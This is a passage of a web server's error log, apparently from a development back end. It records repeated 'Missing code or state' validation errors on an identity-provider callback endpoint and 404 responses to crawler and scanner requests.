'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T09:21:01.016Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3Rx1_uP2dN9r3mpT3Ahqa6iwIROLLVG-5TpZFa8h_WvT0KuCkwsrDxN1qLAd8H1ODc2yNmHQN5XRZY4TnSqWLuEaR8v2NFLd0WENn-VOCAXe5ky-ns6o9RS8fuJh1_zYuo9sy-E1lOQzl1FMavLpc1tWC7d6jS'... 419 more characters }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3Rx1_uP2dN9r3mpT3Ahqa6iwIROLLVG-5TpZFa8h_WvT0KuCkwsrDxN1qLAd8H1ODc2yNmHQN5XRZY4TnSqWLuEaR8v2NFLd0WENn-VOCAXe5ky-ns6o9RS8fuJh1_zYuo9sy-E1l'... 440 more characters, userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25' }, requestId: 'req_1758619261011_k5vc3z4sm' } ❌ [ERROR] 2025-09-23T09:21:01.018Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3Rx1_uP2dN9r3mpT3Ahqa6iwIROLLVG-5TpZFa8h_WvT0KuCkwsrDxN1qLAd8H1ODc2yNmHQN5XRZY4TnSqWLuEaR8v2NFLd0WENn-VOCAXe5ky-ns6o9RS8fuJh1_zYuo9sy-E1lOQzl1FMavLpc1tWC7d6jSRn_Pdg4E-sAfsc18zJI8_ywU48FRDD635pPlnCoVWH6xQ44J-X5B_qxiZYIOKJi-4yMOTJLz4g_X94uprPkBaPNvTMK8r8xfmpt9eY2Q8U-wZMYaj3C_y9MaAGpGDgP_sBWWvVqHUTR39Y39umiErrDEGXbcGuI9CPlqRiovj70jfGxlzRooSKEo05jWMO9rG5sH7bM3XD_0rI_6-dd-n2EwoLzN-TIJcRtI5bpuO2cJb7HQ4BQtD5IkrHnbW0ViVfiyGH_GO-xeKjgPCJ3GK3Tq5N90j-4T9gwnvOFJd_4YbEmx7PWj6c-Oz8KFdXUff0O_4VHyN8XMtcqH8Hb8F0LVKGg24nqaKXalh3pyXJ1RthkSAcJVDaRyamMPrKh2VSmp6oJnrnWq6F0gsb9roAOdp-sJIPJzcv0 - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 6, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3Rx1_uP2dN9r3mpT3Ahqa6iwIROLLVG-5TpZFa8h_WvT0KuCkwsrDxN1qLAd8H1ODc2yNmHQN5XRZY4TnSqWLuEaR8v2NFLd0WENn-VOCAXe5ky-ns6o9RS8fuJh1_zYuo9sy-E1l'... 440 more characters, userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25' }, requestId: 'req_1758619261011_k5vc3z4sm', response: { statusCode: 400 } } ❌ [ERROR] 2025-09-23T09:23:04.844Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:206.168.34.212', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)' }, requestId: 'req_1758619384843_ppcevyo70', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-23T09:23:12.185Z HTTP GET /wiki - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:206.168.34.212', method: 'GET', url: '/wiki', userAgent: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)' }, requestId: 'req_1758619392183_w1o34dbi7', response: { statusCode: 404 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T09:32:18.167Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758619938164_qs0ewn7ch' } ❌ [ERROR] 2025-09-23T09:32:18.170Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 6, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758619938164_qs0ewn7ch', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T09:39:40.439Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758620380438_bjmnv1dfq' } ❌ [ERROR] 2025-09-23T09:39:40.440Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758620380438_bjmnv1dfq', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T09:47:21.860Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758620841859_45l4wi9tw' } ❌ [ERROR] 2025-09-23T09:47:21.861Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758620841859_45l4wi9tw', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T09:55:14.102Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758621314093_eubc945hf' } ❌ [ERROR] 2025-09-23T09:55:14.114Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 21, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758621314093_eubc945hf', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T10:03:21.267Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758621801266_d82l4casy' } ❌ [ERROR] 2025-09-23T10:03:21.268Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758621801266_d82l4casy', response: { statusCode: 400 } } ❌ [ERROR] 2025-09-23T10:06:13.209Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:204.76.203.219', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' }, requestId: 'req_1758621973208_2rpszjdao', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-23T10:07:15.151Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:45.135.193.100', method: 'GET', url: '/', userAgent: undefined }, requestId: 'req_1758622035149_zko3j1yyu', response: { statusCode: 404 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '184.105.247.195', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T10:08:49.710Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 (Windows NT 10.0.0; Win64; x64; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.63 Chrome/124.0.6367.63 Not-A.Brand/99 Safari/537.36' }, requestId: 'req_1758622129709_iwoeujzyf' } ❌ [ERROR] 2025-09-23T10:08:49.711Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 (Windows NT 10.0.0; Win64; x64; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.63 Chrome/124.0.6367.63 Not-A.Brand/99 Safari/537.36' }, requestId: 'req_1758622129709_iwoeujzyf', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T10:11:43.356Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758622303355_ha2latlx6' } ❌ [ERROR] 2025-09-23T10:11:43.357Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758622303355_ha2latlx6', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T10:20:18.937Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758622818936_5mp520mhm' } ❌ [ERROR] 2025-09-23T10:20:18.938Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758622818936_5mp520mhm', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T10:29:08.278Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758623348277_fo7lyzmxk' } ❌ [ERROR] 2025-09-23T10:29:08.278Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758623348277_fo7lyzmxk', response: { statusCode: 400 } } ❌ [ERROR] 2025-09-23T10:37:16.893Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:31.14.32.8', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (compatible; ModatScanner/1.1; +https://modat.io/)' }, requestId: 'req_1758623836893_ssk8ojeev', response: { statusCode: 404 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T10:38:13.701Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758623893701_quv2ppq8g' } ❌ [ERROR] 2025-09-23T10:38:13.702Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758623893701_quv2ppq8g', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T10:47:25.791Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758624445790_yq7eyr2nv' } ❌ [ERROR] 2025-09-23T10:47:25.792Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758624445790_yq7eyr2nv', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T10:56:50.026Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758625010025_z7mya4ggf' } ❌ [ERROR] 2025-09-23T10:56:50.027Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758625010025_z7mya4ggf', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T11:06:27.819Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758625587818_26gfoz3ny' } ❌ [ERROR] 2025-09-23T11:06:27.820Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758625587818_26gfoz3ny', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T11:16:18.874Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758626178873_vv7h1sjel' } ❌ [ERROR] 2025-09-23T11:16:18.875Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758626178873_vv7h1sjel', response: { statusCode: 400 } } ❌ [ERROR] 2025-09-23T11:24:31.622Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:204.76.203.219', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' }, requestId: 'req_1758626671621_st7wk4l65', response: { statusCode: 404 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T11:26:18.750Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758626778749_gtgooyni3' } ❌ [ERROR] 2025-09-23T11:26:18.751Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758626778749_gtgooyni3', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T11:31:19.818Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758627079818_v63dod7pr' } ❌ [ERROR] 2025-09-23T11:31:19.819Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 